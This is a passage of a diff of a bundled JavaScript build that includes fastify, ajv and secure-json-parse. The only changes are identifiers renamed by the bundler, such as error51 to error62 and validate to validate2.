= 0; i < nodesCount; ++i) { - const node = obj.nodes[i]; + const node2 = obj.nodes[i]; const prefix_ = prefix + (i === lastIndex ? " " : "\u2502 "); result += prefix; result += i === lastIndex ? "\u2514\u2500" : "\u251C\u2500"; - result += node.nodes.length === 0 ? "\u2500 " : "\u252C "; - result += prettyPrintTimeTree(node, prefix_).slice(prefix.length + 2); + result += node2.nodes.length === 0 ? "\u2500 " : "\u252C "; + result += prettyPrintTimeTree(node2, prefix_).slice(prefix.length + 2); } return result; } @@ -17288,14 +17288,14 @@ var require_execute_with_thenable = __commonJS({ let result; try { result = func.apply(func, args); - } catch (error51) { + } catch (error62) { if (callback) { - process.nextTick(callback, error51); + process.nextTick(callback, error62); } return; } if (isPromiseLike(result) && !result[kAvvio]) { - result.then(() => process.nextTick(callback), (error51) => process.nextTick(callback, error51)); + result.then(() => process.nextTick(callback), (error62) => process.nextTick(callback, error62)); } else if (callback) { process.nextTick(callback); } @@ -18724,8 +18724,8 @@ var require_hooks = __commonJS({ if (fn.length === 1) { try { fn.call(server2, done); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } return; } @@ -18735,8 +18735,8 @@ var require_hooks = __commonJS({ ret2.then(done, done); return; } - } catch (error51) { - err = error51; + } catch (error62) { + err = error62; } done(err); }; @@ -18775,8 +18775,8 @@ var require_hooks = __commonJS({ return; } done(); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } } } @@ -18791,8 +18791,8 @@ var require_hooks = __commonJS({ let result; try { result = iterator(functions[i++], request, reply, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18836,8 +18836,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, payload, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18876,8 +18876,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, request[kRequestPayloadStream], next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18905,8 +18905,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, next); - } catch (error51) { - cb(error51, request); + } catch (error62) { + cb(error62, request); return; } if (result && typeof result.then === "function") { @@ -19418,7 +19418,7 @@ var require_validation = __commonJS({ FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX } = require_errors2(); var { FSTWRN001, FSTSEC002 } = require_warnings(); - function compileSchemasForSerialization(context2, compile) { + function compileSchemasForSerialization(context2, compile2) { if (!context2.schema || !context2.schema.response) { return; } @@ -19433,7 +19433,7 @@ var require_validation = __commonJS({ const contentTypesSchemas = {}; for (const mediaName of Object.keys(schema.content)) { const contentSchema = schema.content[mediaName].schema; - contentTypesSchemas[mediaName] = compile({ + contentTypesSchemas[mediaName] = compile2({ schema: contentSchema, url: url2, method, @@ -19443,7 +19443,7 @@ var require_validation = __commonJS({ } acc[statusCode] = contentTypesSchemas; } else { - acc[statusCode] = compile({ + acc[statusCode] = compile2({ schema, url: url2, method, @@ -19582,7 +19582,7 @@ var require_validation = __commonJS({ } return void 0; } - function compileSchemasForValidation(context2, compile, isCustom) { + function compileSchemasForValidation(context2, compile2, isCustom) { const { schema } = context2; if (!schema) { return; @@ -19591,14 +19591,14 @@ var require_validation = __commonJS({ const headers = schema.headers; if (headers !== void 0) { if (isCustom || typeof headers !== "object" || headers === null || Object.getPrototypeOf(headers) !== Object.prototype) { - context2[headersSchema] = compile({ schema: headers, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headers, method, url: url2, httpPart: "headers" }); } else { const headersSchemaLowerCase = lowerCaseHeadersSchema(headers); const externalRef = findExternalHeaderRef(headers); if (externalRef !== void 0) { FSTSEC002(method, url2, externalRef); } - context2[headersSchema] = compile({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); } } else if (Object.hasOwn(schema, "headers")) { FSTWRN001("headers", method, url2); @@ -19609,22 +19609,22 @@ var require_validation = __commonJS({ const contentTypeSchemas = {}; for (const contentType of Object.keys(contentProperty)) { const contentSchema = contentProperty[contentType].schema; - contentTypeSchemas[contentType] = compile({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); + contentTypeSchemas[contentType] = compile2({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); } context2[bodySchema] = contentTypeSchemas; } else { - context2[bodySchema] = compile({ schema: schema.body, method, url: url2, httpPart: "body" }); + context2[bodySchema] = compile2({ schema: schema.body, method, url: url2, httpPart: "body" }); } } else if (Object.hasOwn(schema, "body")) { FSTWRN001("body", method, url2); } if (schema.querystring !== void 0) { - context2[querystringSchema] = compile({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); + context2[querystringSchema] = compile2({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); } else if (Object.hasOwn(schema, "querystring")) { FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -19662,7 +19662,7 @@ var require_validation = __commonJS({ return false; } } - function validate(context2, request, execution) { + function validate2(context2, request, execution) { const runExecution = execution === void 0; if (runExecution && context2[paramsSchema] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; @@ -19721,7 +19721,7 @@ var require_validation = __commonJS({ if (paramsResult) { return wrapValidationError(paramsResult, "params", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true }); + return validate2(context2, request, { skipParams: true }); }); } function validateAsyncBody(validatePromise, context2, request) { @@ -19729,7 +19729,7 @@ var require_validation = __commonJS({ if (bodyResult) { return wrapValidationError(bodyResult, "body", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true }); + return validate2(context2, request, { skipParams: true, skipBody: true }); }); } function validateAsyncQuery(validatePromise, context2, request) { @@ -19737,7 +19737,7 @@ var require_validation = __commonJS({ if (queryResult) { return wrapValidationError(queryResult, "querystring", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); + return validate2(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); }); } function validateAsyncHeaders(validatePromise, context2, request) { @@ -19755,18 +19755,18 @@ var require_validation = __commonJS({ result.validationContext = result.validationContext || dataVar; return result; } - const error51 = schemaErrorFormatter(result, dataVar); - error51.statusCode = error51.statusCode || 400; - error51.code = error51.code || "FST_ERR_VALIDATION"; - error51.validation = result; - error51.validationContext = dataVar; - return error51; + const error62 = schemaErrorFormatter(result, dataVar); + error62.statusCode = error62.statusCode || 400; + error62.code = error62.code || "FST_ERR_VALIDATION"; + error62.validation = result; + error62.validationContext = dataVar; + return error62; } module.exports = { symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, - validate + validate: validate2 }; } }); @@ -21444,15 +21444,15 @@ var require_rfdc = __commonJS({ var require_initial_config_validation = __commonJS({ "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js"(exports, module) { "use strict"; - var validate = require_config_validator(); + var validate2 = require_config_validator(); var deepClone = require_rfdc()({ circles: true, proto: false }); var { FST_ERR_INIT_OPTS_INVALID } = require_errors2(); function validateInitialConfig(options) { const opts = deepClone(options); - if (!validate(opts)) { - const error51 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate.errors.map((e) => e.message))); - error51.errors = validate.errors; - throw error51; + if (!validate2(opts)) { + const error62 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate2.errors.map((e) => e.message))); + error62.errors = validate2.errors; + throw error62; } return deepFreezeObject(opts); } @@ -21468,7 +21468,7 @@ var require_initial_config_validation = __commonJS({ return Object.freeze(object2); } module.exports = validateInitialConfig; - module.exports.defaultInitOptions = validate.defaultInitOptions; + module.exports.defaultInitOptions = validate2.defaultInitOptions; module.exports.utils = { deepFreezeObject }; } }); @@ -21524,12 +21524,12 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - requestCompleted(error51, request, reply, metadata) { + requestCompleted(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51) { - reply.log.error({ res: reply, err: error51, responseTime: reply.elapsedTime }, "request errored"); + if (error62) { + reply.log.error({ res: reply, err: error62, responseTime: reply.elapsedTime }, "request errored"); } else { reply.log.info({ res: reply, responseTime: reply.elapsedTime }, "request completed"); } @@ -21543,14 +21543,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object (must have `statusCode`). * @param {object} [metadata] Extra contextual data (unused). */ - defaultErrorLog(error51, request, reply, metadata) { + defaultErrorLog(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } if (reply.statusCode >= 500) { - reply.log.error({ req: request, res: reply, err: error51 }, error51?.message); + reply.log.error({ req: request, res: reply, err: error62 }, error62?.message); } else { - reply.log.info({ res: reply, err: error51 }, error51?.message); + reply.log.info({ res: reply, err: error62 }, error62?.message); } } /** @@ -21562,14 +21562,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - streamError(error51, request, reply, metadata) { + streamError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51.code === "ERR_STREAM_PREMATURE_CLOSE") { + if (error62.code === "ERR_STREAM_PREMATURE_CLOSE") { reply.log.info({ res: reply }, "stream closed prematurely"); } else { - reply.log.warn({ err: error51 }, "response terminated with an error with headers already sent"); + reply.log.warn({ err: error62 }, "response terminated with an error with headers already sent"); } } /** @@ -21595,13 +21595,13 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - writeHeadError(error51, request, reply, metadata) { + writeHeadError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } reply.log.warn( - { req: request, res: reply, err: error51 }, - error51?.message + { req: request, res: reply, err: error62 }, + error62?.message ); } /** @@ -21613,11 +21613,11 @@ var require_log_controller = __commonJS({ * @param {object} metadata Extra contextual data. * @param {number} metadata.statusCode The status code that triggered the serializer. */ - serializerError(error51, request, reply, metadata) { + serializerError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - reply.log.error({ err: error51, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); + reply.log.error({ err: error62, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); } /** * Logs a 503 Service Unavailable when the server is closing. @@ -22135,8 +22135,8 @@ var require_error_serializer = __commonJS({ const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY; const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE; const JSON_STR_NULL = "null"; - function anonymous0(input) { - const obj = input && typeof input.toJSON === "function" ? input.toJSON() : input; + function anonymous0(input2) { + const obj = input2 && typeof input2.toJSON === "function" ? input2.toJSON() : input2; if (obj === null) return JSON_STR_EMPTY_OBJECT; let json3 = ""; json3 += JSON_STR_BEGIN_OBJECT; @@ -22237,15 +22237,15 @@ var require_error_handler = __commonJS({ return this.func.name.toString() + "()"; } }; - function handleError(reply, error51, cb) { + function handleError(reply, error62, cb) { reply[kReplyIsRunningOnErrorHook] = false; const context2 = reply[kRouteContext]; if (reply[kReplyNextErrorHandler] === false) { - fallbackErrorHandler(error51, reply, function(reply2, payload) { + fallbackErrorHandler(error62, reply, function(reply2, payload) { try { reply2.raw.writeHead(reply2.raw.statusCode, reply2[kReplyHeaders]); - } catch (error52) { - reply2.server[kLogController].writeHeadError(error52, reply2.request, reply2); + } catch (error63) { + reply2.server[kLogController].writeHeadError(error63, reply2.request, reply2); reply2.raw.writeHead(reply2.raw.statusCode); } reply2.raw.end(payload); @@ -22259,11 +22259,11 @@ var require_error_handler = __commonJS({ const func = errorHandler.func; if (!func) { reply[kReplyNextErrorHandler] = false; - fallbackErrorHandler(error51, reply, cb); + fallbackErrorHandler(error62, reply, cb); return; } try { - const result = func(error51, reply.request, reply); + const result = func(error62, reply.request, reply); if (result !== void 0) { if (result !== null && typeof result.then === "function") { const store = reply[kDiagnosticsStore] || null; @@ -22276,13 +22276,13 @@ var require_error_handler = __commonJS({ reply.send(err); } } - function defaultErrorHandler(error51, request, reply) { - setErrorHeaders(error51, reply); - setErrorStatusCode(reply, error51); - request.server[kLogController].defaultErrorLog(error51, request, reply); - reply.send(error51); + function defaultErrorHandler(error62, request, reply) { + setErrorHeaders(error62, reply); + setErrorStatusCode(reply, error62); + request.server[kLogController].defaultErrorLog(error62, request, reply); + reply.send(error62); } - function fallbackErrorHandler(error51, reply, cb) { + function fallbackErrorHandler(error62, reply, cb) { const res = reply.raw; const statusCode = reply.statusCode; reply[kReplyHeaders]["content-type"] = reply[kReplyHeaders]["content-type"] ?? "application/json; charset=utf-8"; @@ -22292,21 +22292,21 @@ var require_error_handler = __commonJS({ if (serializerFn === false) { payload = serializeError({ error: statusCodes[statusCode + ""], - code: error51.code, - message: error51.message, + code: error62.code, + message: error62.message, statusCode }); } else { - payload = serializerFn(Object.create(error51, { + payload = serializerFn(Object.create(error62, { error: { value: statusCodes[statusCode + ""] }, - message: { value: error51.message }, + message: { value: error62.message }, statusCode: { value: statusCode } })); } } catch (err) { reply.server[kLogController].serializerError(err, reply.request, reply, { statusCode: res.statusCode }); reply.code(500); - payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error51.message)); + payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error62.message)); } if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { payload = serializeError(new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload)); @@ -22322,18 +22322,18 @@ var require_error_handler = __commonJS({ errorHandler.func = func; return errorHandler; } - function setErrorHeaders(error51, reply) { + function setErrorHeaders(error62, reply) { const res = reply.raw; let statusCode = res.statusCode; statusCode = statusCode >= 400 ? statusCode : 500; - if (error51 != null) { - if (error51.headers !== void 0) { - reply.headers(error51.headers); + if (error62 != null) { + if (error62.headers !== void 0) { + reply.headers(error62.headers); } - if (error51.status >= 400) { - statusCode = error51.status; - } else if (error51.statusCode >= 400) { - statusCode = error51.statusCode; + if (error62.status >= 400) { + statusCode = error62.status; + } else if (error62.statusCode >= 400) { + statusCode = error62.statusCode; } } res.statusCode = statusCode; @@ -22818,7 +22818,7 @@ var require_reply = __commonJS({ this[kRouteContext][kReplyCacheSerializeFns].set(schema, serializeFn); return serializeFn; }; - Reply.prototype.serializeInput = function(input, schema, httpStatus, contentType) { + Reply.prototype.serializeInput = function(input2, schema, httpStatus, contentType) { const possibleContentType = httpStatus; let serialize2; httpStatus = typeof schema === "string" || typeof schema === "number" ? schema : httpStatus; @@ -22840,7 +22840,7 @@ var require_reply = __commonJS({ serialize2 = this.compileSerializationSchema(schema, httpStatus, contentType); } } - return serialize2(input); + return serialize2(input2); }; Reply.prototype.serialize = function(payload) { if (this[kReplySerializer] !== null) { @@ -22931,8 +22931,8 @@ var require_reply = __commonJS({ } onSendHook(reply, payload); } - function wrapSerializationError(error51, reply) { - error51.serialization = reply[kRouteContext].config; + function wrapSerializationError(error62, reply) { + error62.serialization = reply[kRouteContext].config; } function onSendHook(reply, payload) { if (reply[kRouteContext].onSend !== null) { @@ -23230,18 +23230,18 @@ var require_reply = __commonJS({ if (reply[kReplyTrailers] === null) return; payload.on("end", () => sendTrailer(null, res, reply)); } - function onErrorHook(reply, error51, cb) { + function onErrorHook(reply, error62, cb) { if (reply[kRouteContext].onError !== null && !reply[kReplyNextErrorHandler]) { reply[kReplyIsRunningOnErrorHook] = true; onSendHookRunner( reply[kRouteContext].onError, reply.request, reply, - error51, - () => handleError(reply, error51, cb) + error62, + () => handleError(reply, error62, cb) ); } else { - handleError(reply, error51, cb); + handleError(reply, error62, cb); } } function setupResponseListeners(reply) { @@ -24204,7 +24204,7 @@ var require_proxy_addr = __commonJS({ module.exports.default = proxyaddr; module.exports.proxyaddr = proxyaddr; module.exports.all = alladdrs; - module.exports.compile = compile; + module.exports.compile = compile2; var forwarded = require_forwarded(); var ipaddr = require_ipaddr(); var DIGIT_REGEXP = /^\d+$/u; @@ -24221,7 +24221,7 @@ var require_proxy_addr = __commonJS({ return addrs; } if (typeof trust !== "function") { - trust = compile(trust); + trust = compile2(trust); } for (let i = 0; i < addrs.length - 1; i++) { if (trust(addrs[i], i)) continue; @@ -24229,7 +24229,7 @@ var require_proxy_addr = __commonJS({ } return addrs; } - function compile(val) { + function compile2(val) { if (!val) { throw new TypeError("argument is required"); } @@ -24670,24 +24670,24 @@ var require_request = __commonJS({ } }, validateInput: { - value: function(input, schema, httpPart) { + value: function(input2, schema, httpPart) { httpPart = typeof schema === "string" ? schema : httpPart; const symbol2 = httpPart != null && typeof httpPart === "string" && HTTP_PART_SYMBOL_MAP[httpPart]; - let validate; + let validate2; if (symbol2) { - validate = this[kRouteContext][symbol2]; + validate2 = this[kRouteContext][symbol2]; } - if (validate == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { + if (validate2 == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { throw new FST_ERR_REQ_INVALID_VALIDATION_INVOCATION(httpPart); } - if (validate == null) { + if (validate2 == null) { if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { - validate = this[kRouteContext][kRequestCacheValidateFns].get(schema); + validate2 = this[kRouteContext][kRequestCacheValidateFns].get(schema); } else { - validate = this.compileValidationSchema(schema, httpPart); + validate2 = this.compileValidationSchema(schema, httpPart); } } - return validate(input); + return validate2(input2); } }, getDecorator: { @@ -24808,7 +24808,7 @@ var require_secure_json_parse = __commonJS({ var hasBuffer = typeof Buffer !== "undefined"; var suspectProtoRx = /"(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])"\s*:/; var suspectConstructorRx = /"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/; - function _parse2(text2, reviver, options) { + function _parse3(text2, reviver, options) { if (options == null) { if (reviver !== null && typeof reviver === "object") { options = reviver; @@ -24850,25 +24850,25 @@ var require_secure_json_parse = __commonJS({ while (next.length) { const nodes = next; next = []; - for (const node of nodes) { - if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "__proto__")) { + for (const node2 of nodes) { + if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "__proto__")) { if (safe === true) { return null; } else if (protoAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.__proto__; + delete node2.__proto__; } - if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "constructor") && node.constructor !== null && typeof node.constructor === "object" && Object.prototype.hasOwnProperty.call(node.constructor, "prototype")) { + if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "constructor") && node2.constructor !== null && typeof node2.constructor === "object" && Object.prototype.hasOwnProperty.call(node2.constructor, "prototype")) { if (safe === true) { return null; } else if (constructorAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.constructor; + delete node2.constructor; } - for (const key in node) { - const value = node[key]; + for (const key in node2) { + const value = node2[key]; if (value && typeof value === "object") { next.push(value); } @@ -24881,7 +24881,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, options); + return _parse3(text2, reviver, options); } finally { Error.stackTraceLimit = stackTraceLimit; } @@ -24890,7 +24890,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, { safe: true }); + return _parse3(text2, reviver, { safe: true }); } catch { return void 0; } finally { @@ -25075,8 +25075,8 @@ var require_content_type_parser = __commonJS({ return; } const resource = new AsyncResource("content-type-parser:run", request); - function done(error51, body) { - resource.runInAsyncScope(onDone, void 0, error51, body); + function done(error62, body) { + resource.runInAsyncScope(onDone, void 0, error62, body); } if (parser.asString === true || parser.asBuffer === true) { rawBody( @@ -25094,12 +25094,12 @@ var require_content_type_parser = __commonJS({ done(null, body); }, done); } - function onDone(error51, body) { + function onDone(error62, body) { resource.emitDestroy(); - if (error51 != null) { + if (error62 != null) { reply.header("connection", "close"); reply[kReplyIsError] = true; - reply.send(error51); + reply.send(error62); return; } request.body = body; @@ -25697,9 +25697,9 @@ var require_codegen = __commonJS({ } }; var Throw = class extends Node { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render({ _n }) { return `throw ${this.error};` + _n; @@ -25936,9 +25936,9 @@ var require_codegen = __commonJS({ } }; var Catch = class extends BlockNode { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render(opts) { return `catch(${this.error})` + super.render(opts); @@ -26064,8 +26064,8 @@ var require_codegen = __commonJS({ endIf() { return this._endBlockNode(If, Else); } - _for(node, forBody) { - this._blockNode(node); + _for(node2, forBody) { + this._blockNode(node2); if (forBody) this.code(forBody).endFor(); return this; @@ -26114,10 +26114,10 @@ var require_codegen = __commonJS({ } // `return` statement return(value) { - const node = new Return(); - this._blockNode(node); + const node2 = new Return(); + this._blockNode(node2); this.code(value); - if (node.nodes.length !== 1) + if (node2.nodes.length !== 1) throw new Error('CodeGen: "return" should have one node'); return this._endBlockNode(Return); } @@ -26125,23 +26125,23 @@ var require_codegen = __commonJS({ try(tryBody, catchCode, finallyCode) { if (!catchCode && !finallyCode) throw new Error('CodeGen: "try" without "catch" and "finally"'); - const node = new Try(); - this._blockNode(node); + const node2 = new Try(); + this._blockNode(node2); this.code(tryBody); if (catchCode) { - const error51 = this.name("e"); - this._currNode = node.catch = new Catch(error51); - catchCode(error51); + const error62 = this.name("e"); + this._currNode = node2.catch = new Catch(error62); + catchCode(error62); } if (finallyCode) { - this._currNode = node.finally = new Finally(); + this._currNode = node2.finally = new Finally(); this.code(finallyCode); } return this._endBlockNode(Catch, Finally); } // `throw` statement - throw(error51) { - return this._leafNode(new Throw(error51)); + throw(error62) { + return this._leafNode(new Throw(error62)); } // start self-balancing block block(body, nodeCount) { @@ -26179,13 +26179,13 @@ var require_codegen = __commonJS({ this._root.optimizeNames(this._root.names, this._constants); } } - _leafNode(node) { - this._currNode.nodes.push(node); + _leafNode(node2) { + this._currNode.nodes.push(node2); return this; } - _blockNode(node) { - this._currNode.nodes.push(node); - this._nodes.push(node); + _blockNode(node2) { + this._currNode.nodes.push(node2); + this._nodes.push(node2); } _endBlockNode(N1, N2) { const n = this._currNode; @@ -26195,12 +26195,12 @@ var require_codegen = __commonJS({ } throw new Error(`CodeGen: not in block "${N2 ? `${N1.kind}/${N2.kind}` : N1.kind}"`); } - _elseNode(node) { + _elseNode(node2) { const n = this._currNode; if (!(n instanceof If)) { throw new Error('CodeGen: "else" without "if"'); } - this._currNode = n.else = node; + this._currNode = n.else = node2; return this; } get _root() { @@ -26210,9 +26210,9 @@ var require_codegen = __commonJS({ const ns = this._nodes; return ns[ns.length - 1]; } - set _currNode(node) { + set _currNode(node2) { const ns = this._nodes; - ns[ns.length - 1] = node; + ns[ns.length - 1] = node2; } }; exports.CodeGen = CodeGen; @@ -26497,10 +26497,10 @@ var require_errors3 = __commonJS({ exports.keyword$DataError = { message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` }; - function reportError(cxt, error51 = exports.keywordError, errorPaths, overrideAllErrors) { + function reportError(cxt, error62 = exports.keywordError, errorPaths, overrideAllErrors) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { addError(gen, errObj); } else { @@ -26508,10 +26508,10 @@ var require_errors3 = __commonJS({ } } exports.reportError = reportError; - function reportExtraError(cxt, error51 = exports.keywordError, errorPaths) { + function reportExtraError(cxt, error62 = exports.keywordError, errorPaths) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); addError(gen, errObj); if (!(compositeRule || allErrors)) { returnErrors(it, names_1.default.vErrors); @@ -26562,19 +26562,19 @@ var require_errors3 = __commonJS({ schema: new codegen_1.Name("schema"), parentSchema: new codegen_1.Name("parentSchema") }; - function errorObjectCode(cxt, error51, errorPaths) { + function errorObjectCode(cxt, error62, errorPaths) { const { createErrors } = cxt.it; if (createErrors === false) return (0, codegen_1._)`{}`; - return errorObject(cxt, error51, errorPaths); + return errorObject(cxt, error62, errorPaths); } - function errorObject(cxt, error51, errorPaths = {}) { + function errorObject(cxt, error62, errorPaths = {}) { const { gen, it } = cxt; const keyValues = [ errorInstancePath(it, errorPaths), errorSchemaPath(cxt, errorPaths) ]; - extraErrorProps(cxt, error51, keyValues); + extraErrorProps(cxt, error62, keyValues); return gen.object(...keyValues); } function errorInstancePath({ errorPath }, { instancePath }) { @@ -27094,8 +27094,8 @@ var require_keyword = __commonJS({ var _a3; const { gen, keyword, schema, parentSchema, $data, it } = cxt; checkAsyncKeyword(it, def); - const validate = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; - const validateRef = useKeyword(gen, keyword, validate); + const validate2 = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; + const validateRef = useKeyword(gen, keyword, validate2); const valid = gen.let("valid"); cxt.block$data(valid, validateKeyword); cxt.ok((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid); @@ -27106,13 +27106,13 @@ var require_keyword = __commonJS({ modifyData(cxt); reportErrs(() => cxt.error()); } else { - const ruleErrs = def.async ? validateAsync() : validateSync(); + const ruleErrs = def.async ? validateAsync3() : validateSync(); if (def.modifying) modifyData(cxt); reportErrs(() => addErrs(cxt, ruleErrs)); } } - function validateAsync() { + function validateAsync3() { const ruleErrs = gen.let("ruleErrs", null); gen.try(() => assignValid((0, codegen_1._)`await `), (e) => gen.assign(valid, false).if((0, codegen_1._)`${e} instanceof ${it.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e}.errors`), () => gen.throw(e))); return ruleErrs; @@ -27522,11 +27522,11 @@ var require_resolve = __commonJS({ } return ref; } - function addAnchor(anchor) { - if (typeof anchor == "string") { - if (!ANCHOR.test(anchor)) - throw new Error(`invalid anchor "${anchor}"`); - addRef.call(this, `#${anchor}`); + function addAnchor(anchor2) { + if (typeof anchor2 == "string") { + if (!ANCHOR.test(anchor2)) + throw new Error(`invalid anchor "${anchor2}"`); + addRef.call(this, `#${anchor2}`); } } }); @@ -28168,28 +28168,28 @@ var require_compile = __commonJS({ if (this.opts.code.process) sourceCode = this.opts.code.process(sourceCode, sch); const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); - const validate = makeValidate(this, this.scope.get()); - this.scope.value(validateName, { ref: validate }); - validate.errors = null; - validate.schema = sch.schema; - validate.schemaEnv = sch; + const validate2 = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate2 }); + validate2.errors = null; + validate2.schema = sch.schema; + validate2.schemaEnv = sch; if (sch.$async) - validate.$async = true; + validate2.$async = true; if (this.opts.code.source === true) { - validate.source = { validateName, validateCode, scopeValues: gen._values }; + validate2.source = { validateName, validateCode, scopeValues: gen._values }; } if (this.opts.unevaluated) { const { props, items } = schemaCxt; - validate.evaluated = { + validate2.evaluated = { props: props instanceof codegen_1.Name ? void 0 : props, items: items instanceof codegen_1.Name ? void 0 : items, dynamicProps: props instanceof codegen_1.Name, dynamicItems: items instanceof codegen_1.Name }; - if (validate.source) - validate.source.evaluated = (0, codegen_1.stringify)(validate.evaluated); + if (validate2.source) + validate2.source.evaluated = (0, codegen_1.stringify)(validate2.evaluated); } - sch.validate = validate; + sch.validate = validate2; return sch; } catch (e) { delete sch.validate; @@ -28355,27 +28355,27 @@ var require_utils = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -28418,11 +28418,11 @@ var require_utils = __commonJS({ const tail = 